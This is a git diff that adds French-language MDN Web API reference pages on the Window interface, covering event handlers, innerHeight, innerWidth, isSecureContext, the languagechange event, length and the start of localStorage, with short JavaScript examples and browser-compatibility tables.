+ <dd>Appelé après qu'un QUELCONQUE bouton de la souris est pressé &amp; relâché.</dd>
+</dl>
+
+<dl>
+ <dt>{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Appelé quand un double clic est fait avec un QUELCONQUE bouton de la souris.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Appelé après la fermeture de la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Appelé lorsque le bouton DROIT de la souris est enfoncé.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>Propriété de gestionnaire d'événements pour tous les changements de niveaux de luminosité ambiante.</dd>
+ <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Appelé si l'accéléromètre détecte un changement (pour les appareils mobiles).</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Appelé lorsque l'orientation est modifiée (pour les appareils mobiles).</dd>
+ <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only</dt>
+ <dd>Propriété de gestionnaire d'événements pour tout changement d'orientation de l'appareil.</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>Propriété de gestionnaire d'événement pour l'événement de proximité de l'appareil.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Appelé lorsqu'une ressource ne se charge pas OU lorsqu'une erreur se produit lors de l'exécution. Voir l'événement {{event("error")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Appelé après que la fenêtre a reçu ou récupéré la focalisation. Voir les événements {{event("focus")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Propriété de gestionnaire d'événements pour les événements {{event('hashchange')}} dans la fenêtre ; appelé lorsque la partie de l'URL après la marque hash ("#") change.</dd>
+ <dt>{{domxref("Window.onappinstalled")}}</dt>
+ <dd>Appelé lorsque la page est installée en tant que webapp. Voir l'événement {{event('appinstalled')}}.</dd>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui sera exécuté lorsqu'une manette de jeu est branchée (lorsque l'événement {{event('gamepadconnected')}} se déclenche).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui s'exécutera quand une manette de jeu est débranchée (lorsque l'événement {{event('gamepaddisconnected')}} se déclenche).</dd>
+ <dt>{{domxref("Window.oninput")}}</dt>
+ <dd>Appelée lorsque la valeur d'un élément &lt;input&gt; change.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Appelé lorsque vous commencez à presser une touche QUELCONQUE. Voir l'événement {{event("keydown")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Appelé lorsqu'une touche (à l'exception de Shift, Fn et CapsLock) est en position pressée. Voir l'événement {{event("keypress")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Appelé lorsque vous avez fini de relâcher une touche QUELCONQUE. Voir l'événement {{event("keyup")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>Propriété de gestionnaire d'événements pour les événements {{event("languagechange")}} dans la fenêtre.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Appelé après que toutes les ressources et les DOM ont été entièrement chargés. NE SERA PAS appelé lorsque la page est chargée à partir du cache, comme avec le bouton arrière.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Appelé quand un bouton QUELCONQUE de la souris est pressé.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Appelé en continu quand la souris est déplacée dans la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Appelé lorsque le pointeur quitte la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Appelé lorsque le pointeur entre dans la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Appelé quand un bouton QUELCONQUE de la souris est relâché.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Propriété de gestionnaire d'événements pour l'événement MozBeforePaint, qui est déclenché avant de repeindre la fenêtre si l'événement a été demandé par un appel à la méthode {{domxref("Window.mozRequestAnimationFrame()")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Appelé lorsque la connexion réseau est perdue. Voir l'événement {{event("offline")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Appelé lorsque la connexion réseau est établie. Voir l'événement {{event("online")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Appelé lorsque l'utilisateur quitte la page, avant l'événement onunload. Voir l'événement {{event("pagehide")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Appelé après toutes les ressources et les DOM ont été entièrement chargés. Voir l'événement {{event("pageshow")}}.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>Propriété de gestionnaire d'évènement pour les évènements de dessin de la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Appelé quand le bouton arrière est pressé.</dd>
+ <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
+ <dd>Gestionnaire d'événements pour les événements de rejet {{jsxref("Promise")}} gérés.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Appelé lorsqu'un formulaire est réinitialisé</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Appelé en continu lorsque vous redimensionnez la fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Appelé lorsque la barre de défilement est déplacée par un moyen QUELCONQUE. Si la ressource correspond entièrement à la fenêtre, cet événement ne peut pas être invoqué.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Appelé lorsque la roue de la souris est tournée autour d'un axe quelconque.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Appelé après le texte dans un champ de saisie est sélectionné.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("selectionchange")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Appelé en cas de changement dans le stockage de session ou le stockage local. Voir l'événement {{event("storage")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Appelé lorsqu'un formulaire est soumis.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>Gestionnaire d'événements pour les événements de rejet {{jsxref("Promise")}} non gérés.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Appelé lorsque l'utilisateur quitte la page.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>Propriété de gestionnaire d'événements pour les événements de proximité d'utilisateur.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui s'exécutera lorsqu'un périphérique RV compatible a été connecté à l'ordinateur (lorsque l'événement {{event("vrdisplayconnected")}} se déclenche).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui s'exécutera lorsqu'un périphérique RV compatible a été déconnecté de l'ordinateur (lorsque l'événement {{event("vrdisplaydisconnected")}} se déclenche).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui s'exécutera lorsqu'un affichage peut être présenté (lorsque l'événement {{event("vrdisplayactivate")}} se déclenche), par exemple si un HMD a été déplacé pour sortir de veille, ou a été réveillé en le mettant sur soi.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui s'exécute lorsqu'un affichage ne peut plus être présenté (lorsque l'événement {{event ("vrdisplaydeactivate")}} se déclenche), par exemple si un HMD est passé en veille ou en hibernation en raison d'une période d'inactivité.</dd>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui s'exécutera lorsque la présentation sur un affichage a été suspendue pour une raison quelconque par le navigateur, le SE ou le matériel de RV (lorsque l'événement {{event("vrdisplayblur")}} se déclenche - par exemple, lorsque l'utilisateur interagit avec un menu système ou un navigateur, pour empêcher le suivi ou la perte d'expérience.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui sera exécuté lorsque la présentation sur un afficheur a repris après avoir perdu la focalisation (lorsque l'événement {{event("vrdisplayfocus")}} se déclenche).</dd>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>Représente un gestionnaire d'événements qui s'exécute lorsque l'état de présentation d'un périphérique de RV change, c'est-à-dire qu'il passe de présentation à non présentation, ou vice versa (lorsque l'événement {{event("vrdisplaypresentchange")}} se déclenche).</dd>
+</dl>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<p>Voir aussi les <a href="/fr-FR/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">Interfaces DOM</a>.</p>
+
+<dl>
+ <dt>{{domxref("DOMParser")}}</dt>
+ <dd><code>DOMParser</code> peut analyser un source XML ou HTML stocké dans une chaîne de caractères en un <a href="/fr-FR/docs/DOM/document">Document</a> DOM. <code>DOMParser</code> est spécifié dans <a href="https://w3c.github.io/DOM-Parsing/">DOM Parsing et Serialization</a>.</dd>
+ <dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd>
+ <dt>{{domxref("Window.QueryInterface")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Used for creating a <a href="https://developer.mozilla.org/en-US/docs/DOM/Using_web_workers">Web worker</a></dd>
+ <dt>{{domxref("Window.XPCNativeWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Voir <a href="/fr/docs/Web/API/Document_Object_Model">Référence du DOM</a></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Mozilla/Working_with_windows_in_chrome_code">Travailler avec des fenêtres dans le code chrome</a></li>
+</ul>
diff --git a/files/fr/web/api/window/innerheight/index.html b/files/fr/web/api/window/innerheight/index.html
new file mode 100644
index 0000000000..6a6c7e8ede
--- /dev/null
+++ b/files/fr/web/api/window/innerheight/index.html
@@ -0,0 +1,147 @@
+---
+title: window.innerHeight
+slug: Web/API/Window/innerHeight
+tags:
+  - API
+  - CSSOM View
+  - Property
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/innerHeight
+---
+<p>{{ ApiRef() }}</p>
+
+<p id="R.C3.A9sum.C3.A9">Récupère la hauteur (en pixels) de la partie visible de la fenêtre de navigation en incluant, si elle est affichée, la barre de défilement horizontale.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur retournée par cette propriété correspond le cas échéant à la hauteur de la fenêtre définie par {{ifmethod("nsIDOMWindowUtils", "setCSSViewport")}}, dans le cas où vous utilisez cette méthode pour définir les dimensions de la fenêtre virtuelle dans le but d'agencer la page.</p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre>var hauteur = window.innerHeight;
+</pre>
+
+<h3 id="Valeur_renvoy.C3.A9e" name="Valeur_renvoy.C3.A9e">Valeur</h3>
+
+<p class="syntaxbox">Renvoie la hauteur de la partie visible de la fenêtre de navigation.<br>
+ La propriété <code>window.innerHeight</code> est accessible en lecture seulement ; elle n'a pas de valeur par défaut.</p>
+
+<h2 class="syntaxbox" id="Notes">Notes</h2>
+
+<ul>
+ <li>La propriété <code>window.innerHeight</code> est supportée par tout objet assimilé à une fenêtre <em>{{domxref("window")}}</em>, un cadre <em>frame </em>, un ensemble de cadres <em>frameset</em>, ou une fenêtre secondaire.</li>
+ <li>Il existe un <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=189112#c7">algorithme</a> pour calculer la hauteur de la partie visible de la fenêtre en excluant la barre de défilement horizontale si est elle affichée.</li>
+</ul>
+
+<h2 id="Attention" name="Attention">Exemples</h2>
+
+<h3 id="Code" name="Code">Sur un <em>frameset</em></h3>
+
+<pre class="brush:js">var intFrameHeight = window.innerHeight; // ou
+
+var intFrameHeight = self.innerHeight;
+// retournera la hauteur de la partie visible du cadre dans frameset
+
+var intFramesetHeight = parent.innerHeight;
+// retournera la hauteur de la partie visible du frameset le plus proche
+
+var intOuterFramesetHeight = top.innerHeight;
+// retournera la hauteur de la partie visible du frameset le plus éloigné
+</pre>
+
+<p>{{todo("ajouter ici un lien vers une démo interactive")}}</p>
+
+<ul>
+ <li>Pour modifier les dimensions d'une fenêtre, voir {{domxref("window.resizeBy()")}} et {{domxref("window.resizeTo()")}}.</li>
+ <li>Pour récupérer la hauteur extérieure d'une fenêtre, c'est-à-dire la hauteur de la fenêtre du navigateur dans sa totalité, voir {{domxref("window.outerHeight")}}.</li>
+</ul>
+
+<h3 id="Exemple_graphique">Exemple graphique</h3>
+
+<p>L'illustration suivante montre la différence entre <code>outerHeight</code> et <code>innerHeight</code>.<br>
+ <img alt="outerHeight vs innerHeight" src="/@api/deki/files/213/=FirefoxInnerVsOuterHeight2.png" style="height: 445px; width: 738px;"></p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-innerheight', 'window.innerHeight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop(1.0)}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoMobile(1.0)}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette propriété était mal gérée dans Firefox versions 4 à 24, et pouvait dans certains cas renvoyer une valeur erronée avant le chargement de la page, voir {{bug(641188)}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.outerHeight")}}</li>
+ <li>{{domxref("window.outerWidth")}}</li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "fr": "fr/DOM/window.innerHeight", "ja": "ja/DOM/window.innerHeight" } ) }}</p>
diff --git a/files/fr/web/api/window/innerwidth/index.html b/files/fr/web/api/window/innerwidth/index.html
new file mode 100644
index 0000000000..00047c4566
--- /dev/null
+++ b/files/fr/web/api/window/innerwidth/index.html
@@ -0,0 +1,109 @@
+---
+title: window.innerWidth
+slug: Web/API/Window/innerWidth
+translation_of: Web/API/Window/innerWidth
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+
+<p>Récupère la largeur du contenu visible de la fenêtre de navigation en incluant, s'il est visible, l'ascenseur vertical.<br>
+ Permet également de fixer une largeur pour le domaine d'affichage de la fenêtre.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre>var largeur = window.innerWidth;
+</pre>
+
+<p>Voir aussi : <a href="/fr/docs/Web/API/Window/innerHeight">window.innerHeight</a>, <a href="/fr/docs/Web/API/Window/outerHeight">window.outerHeight</a> and <a href="/fr/docs/Web/API/Window/outerWidth">window.outerWidth</a>.</p>
+
+<h2 id="Valeur_renvoy.C3.A9e" name="Valeur_renvoy.C3.A9e">Valeur renvoyée</h2>
+
+<dl>
+ <dt><code>innerWidth </code></dt>
+ <dd>un entier (nombre de pixels);</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La propriété <code>innerWidth</code> est supportée par tous les objet "window" comme par exemple une fenêtre, une frame, un frameset, ou une fenêtre secondaire.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre>// Retourne la largeur de la fenêtre
+var largeur = window.innerWidth;
+
+// Retourn la largeur de la fenêtre à l'intérieur d'une "frameset"
+var largeur = self.innerWidth;
+
+// Retourne la largeur de la fenêtre du "frameset" parent
+var largeurDeLaFrame = parent.innerWidth;
+
+// Retourne la largeur de la fenêtre du "frameset" principal
+var largeurDuFrameset = top.innerWidth;</pre>
+
+<p>Pour changer la taille de la fenêtre, voir {{domxref("window.resizeBy")}} and {{domxref("window.resizeTo")}}.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] From Firefox 4 to 24, this property was buggy and could give a wrong value before page load on certain circumstances, see {{bug(641188)}}.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<p>DOM Level 0. <code>window.innerWidth</code> ne fait partie d'aucune spécification ou recommandation technique du W3C.</p>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.innerWidth", "ja": "ja/DOM/window.innerWidth" } ) }}</p>
diff --git a/files/fr/web/api/window/issecurecontext/index.html b/files/fr/web/api/window/issecurecontext/index.html
new file mode 100644
index 0000000000..af14866f13
--- /dev/null
+++ b/files/fr/web/api/window/issecurecontext/index.html
@@ -0,0 +1,60 @@
+---
+title: Window.isSecureContext
+slug: Web/API/Window/isSecureContext
+tags:
+  - API
+  - Propriété
+  - Reference
+  - Sécurité
+  - Window
+translation_of: Web/API/Window/isSecureContext
+---
+<p>{{APIRef}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecteur seule <code><strong>window.isSecureContext</strong></code> indique si un contexte est capable d'utiliser des fonctionnalités qui nécessitent des <a href="/en-US/docs/Web/Security/Secure_Contexts">contextes sécurisés</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <em>isSecure</em> = window.isSecureContext</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Détection_des_fonctionnalités">Détection des fonctionnalités</h3>
+
+<p>Vous pouvez utiliser la détection des fonctionnalités pour vérifier si elles sont dans un contexte sécurisé ou non à l'aide du booléen <code>isSecureContext</code> qui est exposé sur la portée globale.</p>
+
+<pre class="brush: js notranslate">if (window.isSecureContext) {
+  // La page est un contexte sécurisé afin que les techniciens de service soient désormais disponibles
+  navigator.serviceWorker.register("/offline-worker.js").then(function () {
+    ...
+  });
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts')}}</td>
+   <td>{{Spec2('Secure Contexts','#monkey-patching-global-object','isSecureContext')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.isSecureContext")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Secure_Contexts">Contextes sécurisés</a></li>
+</ul>
diff --git a/files/fr/web/api/window/languagechange_event/index.html b/files/fr/web/api/window/languagechange_event/index.html
new file mode 100644
index 0000000000..b849cb7590
--- /dev/null
+++ b/files/fr/web/api/window/languagechange_event/index.html
@@ -0,0 +1,81 @@
+---
+title: 'Window: languagechange event'
+slug: Web/API/Window/languagechange_event
+tags:
+  - Evènement
+  - Expérimentale
+  - HTML DOM
+  - Reference
+  - Window
+translation_of: Web/API/Window/languagechange_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong><code>languagechange</code></strong> est déclenché sur l'objet d'étendue globale lorsque la langue préférée de l'utilisateur change.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("WindowEventHandlers/onlanguagechange", "onlanguagechange")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Vous pouvez utiliser l'événement <code>languagechange</code> dans une méthode {{domxref("EventTarget/addEventListener", "addEventListener")}} :</p>
+
+<pre class="brush: js notranslate">window.addEventListener('languagechange', function() {
+  console.log('languagechange event detected!');
+});</pre>
+
+<p>Ou utilisez la propriété du gestionnaire d'événements <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onlanguagechange">onlanguagechange</a></code> :</p>
+
+<pre class="brush: js notranslate">window.onlanguagechange = function(event) {
+  console.log('languagechange event detected!');
+};</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'indices.html#event-languagechange', 'languagechange') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.languagechange_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.language", "navigator.language")}}</li>
+ <li>{{domxref("NavigatorLanguage.languages", "navigator.languages")}}</li>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("Window.onlanguagechange")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/length/index.html b/files/fr/web/api/window/length/index.html
new file mode 100644
index 0000000000..2980798007
--- /dev/null
+++ b/files/fr/web/api/window/length/index.html
@@ -0,0 +1,29 @@
+---
+title: Window.length
+slug: Web/API/Window/length
+translation_of: Web/API/Window/length
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Retourne le nombre de frames (soit des éléments de frame ou iframe) présent sur la page.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nombreDeFrames</em>= window.length;
+</pre>
+
+<ul>
+ <li><em>nombreDeFrames est égal au nombre de frames présent sur la page.</em></li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">if (window.length) {
+  // La page contient des frames
+}</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>{{DOM0}}</p>
diff --git a/files/fr/web/api/window/localstorage/index.html b/files/fr/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..9c157962c2
--- /dev/null
+++ b/files/fr/web/api/window/localstorage/index.html
@@ -0,0 +1,95 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+tags:
+  - API
+  - Propriété
+  - Reference
+  - Stockage
+  - Stockage Web
+  - Window
+  - WindowLocalStorage
+  - lecture seule
+  - localStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>La propriété <code>localStorage</code> vous permet d'accéder à un objet local {{domxref("Storage")}}. Le <code>localStorage</code> est similaire au <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>. La seule différence : les données stockées dans le <code>localStorage</code> n'ont pas de délai d'expiration, alors que les données stockées dans le <code>sessionStorage</code> sont nettoyées quand la session navigateur prend fin — donc quand on ferme le navigateur.</p>
+
+<p>Il convient de noter que les données stockées dans <code>localStorage</code> ou <code>sessionStorage</code> <strong>sont spécifiques au protocole de la page.</strong></p>
+
+<p>Les clés et les valeurs <strong>sont toujours</strong> <u>des chaînes de caractères</u> (à noter que, comme pour les objets, les clés entières seront automatiquement converties en chaînes de caractères).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">monStockage = localStorage;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{DOMxRef("Storage")}} qui peut être utilisé pour accéder à l'espace de stockage local de l'origine actuelle.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>La demande viole une décision politique, ou l'origine n'est pas <a href="/fr/docs/Web/Security/Same_origin_policy_for_JavaScript">un schéma/hôte/port valide</a> (cela peut se produire si l'origine utilise le shéma <code>file:</code> ou <code>data:</code>, par exemple). Par exemple, l'utilisateur peut configurer son navigateur de manière à refuser la permission de conserver des données pour l'origine spécifiée.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant accède à l'objet local {{domxref("Storage")}} du domaine courant et lui ajoute une entrée en utilisant {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">localStorage.setItem('monChat', 'Tom');</pre>
+
+<p>La syntaxe pour la lecture de l'article <code>localStorage</code> est la suivante :</p>
+
